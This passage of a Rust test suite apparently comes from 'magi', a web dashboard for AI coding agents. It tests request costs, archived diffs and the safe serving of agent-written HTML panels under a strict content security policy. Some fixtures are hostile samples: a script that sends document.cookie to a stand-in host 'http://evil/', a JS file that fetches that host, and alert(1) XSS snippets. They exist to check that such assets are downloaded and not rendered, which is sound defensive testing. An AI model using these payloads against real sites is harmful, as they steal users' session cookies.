11770            fx.queue().put(&mut task).unwrap();
11771            // Notices has a production retention cap; seed up to that cap.
11772            if i < crate::notices::CAP {
11773                Notices::at(fx.home.path().join("notifications"))
11774                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11775                    .unwrap();
11776            }
11777        }
11778        assert_eq!(fx.questions().list().len(), questions);
11779        assert_eq!(run_ids(&fx.runs()).len(), runs);
11780        assert_eq!(fx.talks().list().len(), items);
11781        assert_eq!(fx.queue().list().len(), items);
11782        assert_eq!(
11783            Notices::at(fx.home.path().join("notifications"))
11784                .list()
11785                .len(),
11786            items.min(crate::notices::CAP)
11787        );
11788    }
11789
11790    #[tokio::test]
11791    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11792        let home = TempDir::new().unwrap();
11793        let root = home.path().canonicalize().unwrap();
11794        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11795        let fx = Fixture { home, addr };
11796        let repo = root.as_path().join("archive-repo");
11797        std::fs::create_dir(&repo).unwrap();
11798        crate::git::git(&repo, &["init", "-b", "main"])
11799            .await
11800            .unwrap();
11801        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11802            .await
11803            .unwrap();
11804        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11805            .await
11806            .unwrap();
11807        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11808            .await
11809            .unwrap();
11810        std::fs::write(repo.join("source"), "base").unwrap();
11811        crate::git::git(&repo, &["add", "."]).await.unwrap();
11812        crate::git::git(&repo, &["commit", "-m", "base"])
11813            .await
11814            .unwrap();
11815        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11816        std::fs::write(repo.join("source"), "archived review").unwrap();
11817        crate::git::git(&repo, &["commit", "-am", "review"])
11818            .await
11819            .unwrap();
11820        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11821        let mut config = Config::default();
11822        config.graph.worktree_root = Some(root.as_path().join("copies"));
11823        let mut state = RunState::new(
11824            repo.clone(),
11825            "main".into(),
11826            base.clone(),
11827            "archive".into(),
11828            config,
11829        );
11830        state.id = "20260101-000000-ef05".into();
11831        state.status = RunStatus::Ready;
11832        state.save_under(root.as_path()).unwrap();
11833        let evidence =
11834            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11835                .await
11836                .unwrap();
11837        let base_evidence =
11838            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11839                .await
11840                .unwrap();
11841        let source = state.worktree_root().join("review-1");
11842        let mut contents = std::collections::BTreeMap::new();
11843        contents.insert(
11844            repo.join("logs/HEAD"),
11845            format!("{base} {head} fixture\n").into_bytes(),
11846        );
11847        let record = serde_json::json!({
11848            "version":1, "run":state.id, "source":source, "head":head,
11849            "evidence":evidence, "admin":{}, "admin_contents":contents,
11850            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11851        });
11852        std::fs::write(
11853            fx.runs()
11854                .join(&state.id)
11855                .join("artifacts/eviction-review-1.json"),
11856            serde_json::to_vec(&record).unwrap(),
11857        )
11858        .unwrap();
11859        std::fs::remove_dir_all(&repo).unwrap();
11860        let url = format!("/api/runs/{}/seat-evidence", state.id);
11861        let list = fx.get(&url).await;
11862        assert_eq!(list.status, 200, "{}", list.body);
11863        assert_eq!(list.json()[&head], "review-1");
11864        let patch = fx.get(&format!("{url}/{head}")).await;
11865        assert_eq!(patch.status, 200, "{}", patch.body);
11866        assert!(patch.body.contains("+archived review"));
11867        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11868        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11869        assert_eq!(fx.get(&url).await.status, 404);
11870        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11871    }
11872
11873    fn request_counts(res: &Res) -> (usize, usize) {
11874        assert_eq!(res.status, 200, "{}", res.body);
11875        (
11876            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11877            res.header("x-test-git").unwrap().parse().unwrap(),
11878        )
11879    }
11880
11881    #[tokio::test]
11882    async fn list_request_cost_is_independent_of_record_count() {
11883        let mut previous = None;
11884        for n in [4, 60] {
11885            // Health refreshes configuration on a detached thread. Run it
11886            // last and give each scale its own repository/cache so that
11887            // refresh cannot warm the next measured cold extraction.
11888            let (_tmp, repos, fx) = performance_fixture().await;
11889            seed_performance(&fx, &repos, n, n, n);
11890            let mut costs = Vec::new();
11891            for (path, discoveries) in [
11892                ("/api/questions", 1),
11893                ("/api/talks", 0),
11894                ("/api/stats", 1),
11895                ("/api/health", 0),
11896            ] {
11897                // Equal cold extraction caches at both scales; this also
11898                // bounds first-request cost instead of only warmed requests.
11899                for repo in &repos {
11900                    let cache = repo.join(".git/magi/config");
11901                    if cache.exists() {
11902                        std::fs::remove_dir_all(cache).unwrap();
11903                    }
11904                }
11905                let cost = request_counts(&fx.get(path).await);
11906                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11907                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11908                assert!(
11909                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11910                    "{path}: {cost:?}"
11911                );
11912                costs.push(cost);
11913            }
11914            if let Some(previous) = previous {
11915                assert_eq!(costs, previous);
11916            }
11917            previous = Some(costs);
11918        }
11919        // runs reads shared row inputs and probes process liveness; queue
11920        // builds one blocker inventory; notifications reads its own store.
11921        // None discovers configuration or spawns git per item.
11922    }
11923
11924    /// The same handler path without transport, so the deterministic cause
11925    /// can also be checked in environments that prohibit binding sockets.
11926    #[tokio::test]
11927    async fn list_handler_cost_without_transport() {
11928        let mut previous = None;
11929        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11930            // As in the transport test, isolate each scale from the previous
11931            // health request's detached configuration refresh.
11932            let (_tmp, repos) = performance_repositories().await;
11933            let fx = Fixture {
11934                home: TempDir::new().unwrap(),
11935                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11936            };
11937            let ui = Arc::new(
11938                Ui::new(
11939                    fx.queue(),
11940                    fx.questions(),
11941                    fx.talks(),
11942                    fx.runs(),
11943                    fx.home.path().to_path_buf(),
11944                    repos[0].clone(),
11945                )
11946                .with_worktrees_root(fx.home.path().join("wt")),
11947            );
11948            seed_performance(&fx, &repos, n, runs, items);
11949            let mut costs = Vec::new();
11950            for endpoint in ["questions", "talks", "stats", "health"] {
11951                for repo in &repos {
11952                    let cache = repo.join(".git/magi/config");
11953                    if cache.exists() {
11954                        std::fs::remove_dir_all(cache).unwrap();
11955                    }
11956                }
11957                let (_, cost) = request_cost::measure(async {
11958                    match endpoint {
11959                        "questions" => {
11960                            let _ = questions_list(State(ui.clone())).await.unwrap();
11961                        }
11962                        "talks" => {
11963                            let _ = talks_list(
11964                                State(ui.clone()),
11965                                Query(ListQuery {
11966                                    limit: None,
11967                                    ids: None,
11968                                }),
11969                                header::HeaderMap::new(),
11970                            )
11971                            .await
11972                            .unwrap();
11973                        }
11974                        "health" => {
11975                            let _ = health(State(ui.clone())).await.unwrap();
11976                        }
11977                        _ => {
11978                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11979                                .await
11980                                .unwrap();
11981                        }
11982                    }
11983                })
11984                .await;
11985                eprintln!("{endpoint} handler N={n}: {cost:?}");
11986                assert_eq!(
11987                    cost.0,
11988                    if matches!(endpoint, "talks" | "health") {
11989                        0
11990                    } else {
11991                        1
11992                    },
11993                    "{endpoint}"
11994                );
11995                assert!(
11996                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11997                    "{endpoint}: {cost:?}"
11998                );
11999                costs.push(cost);
12000            }
12001            if let Some(previous) = previous {
12002                assert_eq!(costs, previous);
12003            }
12004            previous = Some(costs);
12005        }
12006    }
12007
12008    #[tokio::test]
12009    async fn monitor_and_periodic_update_recheck_git_cost() {
12010        let (tmp, repos) = performance_repositories().await;
12011        let fx = Fixture {
12012            home: TempDir::new().unwrap(),
12013            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12014        };
12015        let ui = Arc::new(
12016            Ui::new(
12017                fx.queue(),
12018                fx.questions(),
12019                fx.talks(),
12020                fx.runs(),
12021                fx.home.path().to_path_buf(),
12022                repos[0].clone(),
12023            )
12024            .with_worktrees_root(fx.home.path().join("wt")),
12025        );
12026        let cache = repos[0].join(".git/magi/config");
12027        if cache.exists() {
12028            std::fs::remove_dir_all(&cache).unwrap();
12029        }
12030
12031        let (_, monitor_cost) = request_cost::measure(async {
12032            let mut snapshot = None;
12033            for _ in 0..20 {
12034                let state = Arc::clone(&ui);
12035                snapshot = Some(
12036                    tokio::task::spawn_blocking(request_cost::carry(move || {
12037                        monitor_scan(&state, snapshot)
12038                    }))
12039                    .await
12040                    .unwrap(),
12041                );
12042            }
12043        })
12044        .await;
12045        assert_eq!(monitor_cost, (0, 0));
12046
12047        // The idle update worker, unlike the revision monitor, reads config.
12048        let (_, cold_cost) = request_cost::measure(async {
12049            for _ in 0..20 {
12050                assert_eq!(update_recheck_once(&ui).await, UPDATE_RECHECK_POLL_MAX);
12051            }
12052        })
12053        .await;
12054        assert_eq!(cold_cost, (20, 21));
12055
12056        // Move `origin/main` via a separate clone without touching `repos[0]`'s
12057        // working tree, then fetch; the next scan must immediately observe the
12058        // new committed `magi.toml`.
12059        let origin = tmp.path().join("one.git");
12060        let pusher = tmp.path().join("pusher-one");
12061        crate::git::git(
12062            tmp.path(),
12063            &[
12064                "clone",
12065                "-b",
12066                "main",
12067                origin.to_str().unwrap(),
12068                pusher.to_str().unwrap(),
12069            ],
12070        )
12071        .await
12072        .unwrap();
12073        std::fs::write(
12074            pusher.join("magi.toml"),
12075            format!("{MOCK_AGENT_TOML}\n[graph]\nimplementers = 3\n[repos]\nroots = []\n[update]\nmode = \"off\"\ninterval = \"1m\"\n[verify]\ne2e = []\ngate = []\n"),
12076        )
12077        .unwrap();
12078        crate::git::git(&pusher, &["add", "magi.toml"])
12079            .await
12080            .unwrap();
12081        crate::git::git(
12082            &pusher,
12083            &[
12084                "-c",
12085                "user.name=fixture",
12086                "-c",
12087                "user.email=fixture@example.invalid",
12088                "commit",
12089                "-m",
12090                "bump implementers",
12091            ],
12092        )
12093        .await
12094        .unwrap();
12095        crate::git::git(&pusher, &["push", "origin", "main"])
12096            .await
12097            .unwrap();
12098        crate::git::git(&repos[0], &["fetch", "origin"])
12099            .await
12100            .unwrap();
12101
12102        let (observed, moved_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12103        assert_eq!(observed, UPDATE_RECHECK_POLL_MIN);
12104        assert_eq!(moved_cost, (1, 2));
12105        let (observed_again, warm_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12106        assert_eq!(observed_again, observed);
12107        assert_eq!(warm_cost, (1, 1));
12108    }
12109
12110    #[tokio::test]
12111    async fn list_request_cost_scopes_do_not_mix() {
12112        let (_tmp, repos, fx) = performance_fixture().await;
12113        seed_performance(&fx, &repos, 10, 0, 10);
12114        let (questions, talks, notices) = tokio::join!(
12115            fx.get("/api/questions"),
12116            fx.get("/api/talks"),
12117            fx.get("/api/notifications")
12118        );
12119        assert_eq!(request_counts(&questions).0, 1);
12120        // Cached summaries perform no config discovery or git work, even
12121        // alongside the questions request that still discovers config.
12122        assert_eq!(request_counts(&talks), (0, 0));
12123        assert_eq!(request_counts(&notices), (0, 0));
12124    }
12125
12126    #[tokio::test]
12127    async fn list_endpoints_large_home_responses() {
12128        check_large_home_endpoints(false).await;
12129    }
12130
12131    #[tokio::test]
12132    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
12133    async fn list_endpoints_large_home_ceiling() {
12134        check_large_home_endpoints(true).await;
12135    }
12136
12137    async fn check_large_home_endpoints(timed: bool) {
12138        let (_tmp, repos, fx) = performance_fixture().await;
12139        seed_performance(&fx, &repos, 200, 300, 400);
12140        let mut failures = Vec::new();
12141        // app.js boot/change loads plus the initial dashboard, settings and
12142        // repo picker. SSE is a persistent stream, not a bounded GET.
12143        for path in [
12144            "/",
12145            "/app.js",
12146            "/app.css",
12147            "/api/questions",
12148            "/api/runs?limit=300",
12149            "/api/queue",
12150            "/api/talks",
12151            "/api/notifications",
12152            "/api/health",
12153            "/api/stats",
12154            "/api/loop",
12155            "/api/settings",
12156            "/api/repos",
12157        ] {
12158            let start = std::time::Instant::now();
12159            let result = if timed {
12160                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
12161            } else {
12162                Ok(fx.get(path).await)
12163            };
12164            let elapsed = start.elapsed();
12165            eprintln!("{path}: {elapsed:?}");
12166            match result {
12167                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
12168                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
12169                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
12170            }
12171        }
12172        assert!(failures.is_empty(), "{}", failures.join("\n"));
12173    }
12174
12175    struct Res {
12176        status: u16,
12177        headers: String,
12178        /// The header block with its original casing, for the assertions that
12179        /// compare a header *value* rather than looking for a name. Lowercasing
12180        /// a CSP would hide a directive spelled with a capital letter, and the
12181        /// whole point of that test is that the string is exactly right.
12182        head: String,
12183        body: String,
12184        /// The body before any UTF-8 handling, for the routes that serve
12185        /// something other than text. A panel asset is a PNG as often as not,
12186        /// and `from_utf8_lossy` would silently replace half of it.
12187        bytes: Vec<u8>,
12188    }
12189
12190    impl Res {
12191        fn json(&self) -> Value {
12192            serde_json::from_str(&self.body)
12193                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12194        }
12195
12196        /// One header's value verbatim, or `None` when it was not sent.
12197        fn header(&self, name: &str) -> Option<&str> {
12198            self.head.lines().find_map(|line| {
12199                let (key, value) = line.split_once(':')?;
12200                key.trim()
12201                    .eq_ignore_ascii_case(name)
12202                    .then(|| value.trim_start().trim_end_matches('\r'))
12203            })
12204        }
12205    }
12206
12207    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12208    /// be read to end-of-stream without parsing framing.
12209    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12210        request_with(addr, method, path, body, &[]).await
12211    }
12212
12213    /// As [`request`], with extra request headers - conditional GETs need
12214    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12215    /// worse than one that sets none.
12216    async fn request_with(
12217        addr: SocketAddr,
12218        method: &str,
12219        path: &str,
12220        body: Option<&str>,
12221        extra: &[(&str, &str)],
12222    ) -> Res {
12223        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12224        for (name, value) in extra {
12225            head.push_str(&format!("{name}: {value}\r\n"));
12226        }
12227        if let Some(body) = body {
12228            head.push_str("Content-Type: application/json\r\n");
12229            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12230        }
12231        head.push_str("\r\n");
12232        if let Some(body) = body {
12233            head.push_str(body);
12234        }
12235        let mut socket = tokio::net::TcpStream::connect(addr)
12236            .await
12237            .expect("connect to the test server");
12238        socket
12239            .write_all(head.as_bytes())
12240            .await
12241            .expect("write request");
12242        let mut raw = Vec::new();
12243        socket.read_to_end(&mut raw).await.expect("read response");
12244        // Split on the raw bytes rather than on a lossy string, so a binary
12245        // body survives to be compared byte for byte.
12246        let split = raw
12247            .windows(4)
12248            .position(|w| w == b"\r\n\r\n")
12249            .expect("a header block");
12250        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12251        let bytes = raw[split + 4..].to_vec();
12252        let status = head
12253            .lines()
12254            .next()
12255            .and_then(|line| line.split_whitespace().nth(1))
12256            .and_then(|code| code.parse().ok())
12257            .expect("a status line");
12258        Res {
12259            status,
12260            headers: head.to_lowercase(),
12261            head,
12262            body: String::from_utf8_lossy(&bytes).into_owned(),
12263            bytes,
12264        }
12265    }
12266
12267    /// A `POST` carrying a raw binary body and its own headers, for the
12268    /// attachment upload route - `request_with` only ever sends
12269    /// `Content-Type: application/json`, which is wrong for an image and
12270    /// would corrupt anything not valid UTF-8 by round-tripping it through
12271    /// `&str` first.
12272    async fn request_bytes(
12273        addr: SocketAddr,
12274        path: &str,
12275        headers: &[(&str, &str)],
12276        body: &[u8],
12277    ) -> Res {
12278        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12279        for (name, value) in headers {
12280            head.push_str(&format!("{name}: {value}\r\n"));
12281        }
12282        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12283        let mut socket = tokio::net::TcpStream::connect(addr)
12284            .await
12285            .expect("connect to the test server");
12286        socket
12287            .write_all(head.as_bytes())
12288            .await
12289            .expect("write request head");
12290        socket.write_all(body).await.expect("write request body");
12291        let mut raw = Vec::new();
12292        socket.read_to_end(&mut raw).await.expect("read response");
12293        let split = raw
12294            .windows(4)
12295            .position(|w| w == b"\r\n\r\n")
12296            .expect("a header block");
12297        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12298        let bytes = raw[split + 4..].to_vec();
12299        let status = head
12300            .lines()
12301            .next()
12302            .and_then(|line| line.split_whitespace().nth(1))
12303            .and_then(|code| code.parse().ok())
12304            .expect("a status line");
12305        Res {
12306            status,
12307            headers: head.to_lowercase(),
12308            head,
12309            body: String::from_utf8_lossy(&bytes).into_owned(),
12310            bytes,
12311        }
12312    }
12313
12314    /// A run on disk, without touching the process-global magi home.
12315    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12316        let mut state = RunState::new(
12317            PathBuf::from("/repo/magi"),
12318            "main".to_owned(),
12319            "0123456789abcdef".to_owned(),
12320            "Add a web UI\n\nMobile first.".to_owned(),
12321            Config::default(),
12322        );
12323        state.id = id.to_owned();
12324        state.status = status;
12325        let dir = runs.join(id);
12326        std::fs::create_dir_all(&dir).expect("run dir");
12327        std::fs::write(
12328            dir.join("run.json"),
12329            serde_json::to_string_pretty(&state).expect("serialize run"),
12330        )
12331        .expect("write run.json");
12332    }
12333
12334    /// Same as [`write_run`], but against a named repository rather than the
12335    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12336    /// spread across more than one.
12337    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12338        let mut state = RunState::new(
12339            PathBuf::from(repo),
12340            "main".to_owned(),
12341            "0123456789abcdef".to_owned(),
12342            "task".to_owned(),
12343            Config::default(),
12344        );
12345        state.id = id.to_owned();
12346        state.status = status;
12347        let dir = runs.join(id);
12348        std::fs::create_dir_all(&dir).expect("run dir");
12349        std::fs::write(
12350            dir.join("run.json"),
12351            serde_json::to_string_pretty(&state).expect("serialize run"),
12352        )
12353        .expect("write run.json");
12354    }
12355
12356    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12357        let body = serde_json::json!({
12358            "schema": 1,
12359            "pid": 4242,
12360            "started_at": Timestamp::now().to_string(),
12361            "updated_at": updated_at.to_string(),
12362            "idle": false,
12363            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12364            "completed": 7,
12365            "polls": 143,
12366        });
12367        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12368    }
12369
12370    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12371    ///
12372    /// No test in this file may start the real loop - see [`Ui::launch`] for
12373    /// why - so this stands in for the only thing the routes need a loop to
12374    /// do: keep running until `Stop` is set, then return. A real
12375    /// `serve_until` here would resolve its queue and its status file through
12376    /// the process-global magi home, claim whatever it found in the
12377    /// operator's live backlog, overwrite the status file of the `magi serve`
12378    /// that owns it, and spend real agent quota on a real competition.
12379    fn launch_idle(
12380        _opts: daemon::Opts,
12381        stop: daemon::Stop,
12382    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12383        Box::pin(async move {
12384            while !stop.stopped() {
12385                tokio::time::sleep(Duration::from_millis(2)).await;
12386            }
12387            Ok(())
12388        })
12389    }
12390
12391    /// A loop that fails on the way up, the way one whose home has gone
12392    /// read-only does.
12393    fn launch_broken(
12394        _opts: daemon::Opts,
12395        _stop: daemon::Stop,
12396    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12397        // The stand-in dies instantly, so a restarted one can record its own
12398        // failure before the start's response is read. The second attempt
12399        // therefore fails with a different message, to tell a stale error
12400        // from a fresh one.
12401        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12402        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12403        Box::pin(async move {
12404            Err(anyhow::anyhow!(if first {
12405                "publish the daemon status file: read-only file system"
12406            } else {
12407                "the restarted stand-in failed as well"
12408            }))
12409        })
12410    }
12411
12412    /// The loop view once `want` accepts it.
12413    ///
12414    /// Polled rather than asserted straight after the POST because stopping
12415    /// is deliberately not instant - that is the contract - and rather than
12416    /// slept through because a fixed wait is either flaky or slow.
12417    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12418    /// finite, so a genuine hang fails the test instead of hanging the
12419    /// suite.
12420    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12421        for _ in 0..SETTLE_STEPS {
12422            let view = fx.get("/api/loop").await.json();
12423            if want(&view) {
12424                return view;
12425            }
12426            tokio::time::sleep(Duration::from_millis(10)).await;
12427        }
12428        panic!(
12429            "the loop never settled: {}",
12430            fx.get("/api/loop").await.json()
12431        );
12432    }
12433
12434    /// File an open question directly in the store the server reads.
12435    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12436        let store = fx.questions();
12437        let mut q = Question::new(
12438            "20260902-000000-beef".to_owned(),
12439            "implement".to_owned(),
12440            "impl-A".to_owned(),
12441            summary.to_owned(),
12442            "because it matters".to_owned(),
12443            choices.iter().map(|c| (*c).to_owned()).collect(),
12444        );
12445        store.put(&mut q).expect("put question");
12446        q.id
12447    }
12448
12449    /// A question with a panel the server can serve, plus the named assets.
12450    ///
12451    /// Written through `Questions::put_panel` rather than by laying out the
12452    /// directory here, so these tests exercise the same on-disk shape the
12453    /// agents produce and cannot pass against a layout only the tests know.
12454    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12455        let store = fx.questions();
12456        let mut q = Question::new(
12457            "20260902-000000-beef".to_owned(),
12458            "land".to_owned(),
12459            "fix".to_owned(),
12460            "Merge this?".to_owned(),
12461            "the diff is in the panel".to_owned(),
12462            vec!["merge".to_owned(), "hold".to_owned()],
12463        );
12464        // Staged outside the questions root, because `put_panel` copies from
12465        // wherever the agent left its files.
12466        let staging = fx.home.path().join("staging");
12467        std::fs::create_dir_all(&staging).expect("staging dir");
12468        let sources: Vec<PathBuf> = assets
12469            .iter()
12470            .map(|(name, bytes)| {
12471                let path = staging.join(name);
12472                std::fs::write(&path, bytes).expect("write staged asset");
12473                path
12474            })
12475            .collect();
12476        store
12477            .put_panel(&mut q, html, &sources)
12478            .expect("write the panel");
12479        store.put(&mut q).expect("put question");
12480        q.id
12481    }
12482
12483    /// A talk on disk, without talking to a model.
12484    ///
12485    /// Written as JSON straight into the store the server reads, because the
12486    /// only constructor `talk::begin` offers takes no turn but still requires
12487    /// a real caller-visible flow. The one thing this cannot make up is the
12488    /// seat, so it is built with the real `SeatState::new` and serialized -
12489    /// the alternative, hand-writing that object, would make these tests fail
12490    /// the day the seat gains a field.
12491    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12492        seed_talk_at(&fx.talks(), id, status)
12493    }
12494
12495    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12496        std::fs::create_dir_all(store.root()).expect("talks dir");
12497        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12498            .expect("serialize a seat");
12499        let body = serde_json::json!({
12500            "schema": 1,
12501            "id": id,
12502            "repo": "/repo/magi",
12503            "agent": "mock",
12504            "status": status,
12505            "turns": [],
12506            "created_at": Timestamp::now().to_string(),
12507            "updated_at": Timestamp::now().to_string(),
12508            "seat": seat,
12509        });
12510        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12511        store.get(id).expect("the seeded talk has to be readable");
12512        id.to_owned()
12513    }
12514
12515    #[tokio::test]
12516    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12517        let fx = Fixture::start().await;
12518        let id = panel(
12519            &fx,
12520            "<h1>Merge?</h1><img src=\"diff.svg\">",
12521            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12522        );
12523
12524        for path in [
12525            format!("/api/questions/{id}/panel"),
12526            format!("/api/questions/{id}/asset/diff.svg"),
12527        ] {
12528            let res = fx.get(&path).await;
12529            assert_eq!(res.status, 200, "{path}: {}", res.body);
12530            // The whole string, not a substring. A weakened directive - an
12531            // `img-src *` that lets a panel beacon out to a remote host, a
12532            // `script-src` anything, a missing `form-action` that lets it post
12533            // the owner's decision to a third party - has to fail here, and a
12534            // `contains` assertion would let every one of those through.
12535            assert_eq!(
12536                res.header("content-security-policy"),
12537                Some(
12538                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12539                     font-src data:; base-uri 'none'; form-action 'none'; \
12540                     frame-ancestors 'self'"
12541                ),
12542                "{path} is the only thing between a hostile panel and the tailnet"
12543            );
12544            assert_eq!(
12545                res.header("x-content-type-options"),
12546                Some("nosniff"),
12547                "{path}: a browser must not re-decide the type we sent"
12548            );
12549            assert_eq!(
12550                res.header("referrer-policy"),
12551                Some("no-referrer"),
12552                "{path}: a panel must not leak the question id off the machine"
12553            );
12554
12555            // The front end mounts the frame only after a `HEAD` says the
12556            // panel is there, so `HEAD` has to answer with the same status and
12557            // the same policy as `GET` - a preflight that came back without
12558            // the CSP would mean a frame mounted on an unverified promise.
12559            let pre = fx.head(&path).await;
12560            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12561            assert_eq!(
12562                pre.header("content-security-policy"),
12563                res.header("content-security-policy"),
12564                "{path}: the preflight carries the same policy"
12565            );
12566            assert_eq!(
12567                pre.header("content-type"),
12568                res.header("content-type"),
12569                "{path}: the preflight carries the same type"
12570            );
12571        }
12572    }
12573
12574    #[tokio::test]
12575    async fn a_panel_reaches_the_browser_byte_for_byte() {
12576        let fx = Fixture::start().await;
12577        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12578        // tag, an entity, and a multi-byte character. The sandbox is what makes
12579        // this safe, so nothing here may be rewritten on the way out - a
12580        // rewritten diff is a diff the owner cannot trust.
12581        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12582        let id = panel(&fx, html, &[]);
12583
12584        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12585
12586        assert_eq!(res.status, 200);
12587        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12588        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12589        assert_eq!(
12590            res.header("content-disposition"),
12591            None,
12592            "the panel itself is rendered in the frame, not downloaded"
12593        );
12594    }
12595
12596    #[tokio::test]
12597    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12598        let fx = Fixture::start().await;
12599        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12600        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12601        let id = panel(
12602            &fx,
12603            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12604            &[("diff.svg", svg), ("shot.png", png)],
12605        );
12606
12607        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12608        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12609
12610        assert_eq!(as_svg.status, 200);
12611        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12612        // An SVG is XML that may carry script. Inside the panel it is an
12613        // `<img src>` and the script cannot run; opened at the top level it
12614        // would be a document on magi's own origin, so the browser is told to
12615        // download it instead of rendering it.
12616        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12617
12618        assert_eq!(as_png.status, 200);
12619        assert_eq!(as_png.header("content-type"), Some("image/png"));
12620        assert_eq!(
12621            as_png.header("content-disposition"),
12622            None,
12623            "a raster image has no execution surface, so tapping it still shows it"
12624        );
12625        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12626    }
12627
12628    #[tokio::test]
12629    async fn an_html_asset_is_never_served_as_html() {
12630        let fx = Fixture::start().await;
12631        let id = panel(
12632            &fx,
12633            "<p>see the notes</p>",
12634            &[
12635                (
12636                    "notes.html",
12637                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12638                ),
12639                ("hook.js", b"fetch('http://evil/')"),
12640                ("data.json", b"{}"),
12641                ("HEADLINE.TXT", b"plain"),
12642            ],
12643        );
12644
12645        for name in ["notes.html", "hook.js", "data.json"] {
12646            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12647            assert_eq!(res.status, 200, "{name}: {}", res.body);
12648            // Serving this as text/html would be a way to reach agent markup
12649            // at the top level of the operator's browser, outside the frame's
12650            // sandbox and outside its CSP - which is the whole thing the panel
12651            // design exists to prevent. Unlisted types are downloads.
12652            assert_eq!(
12653                res.header("content-type"),
12654                Some("application/octet-stream"),
12655                "{name} must not be a type the browser will execute or render"
12656            );
12657        }
12658        // The whitelist is matched case-insensitively, so an agent shouting the
12659        // extension still gets a readable file rather than a download.
12660        let txt = fx
12661            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12662            .await;
12663        assert_eq!(
12664            txt.header("content-type"),
12665            Some("text/plain; charset=utf-8")
12666        );
12667    }
12668
12669    #[tokio::test]
12670    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12671        let fx = Fixture::start().await;
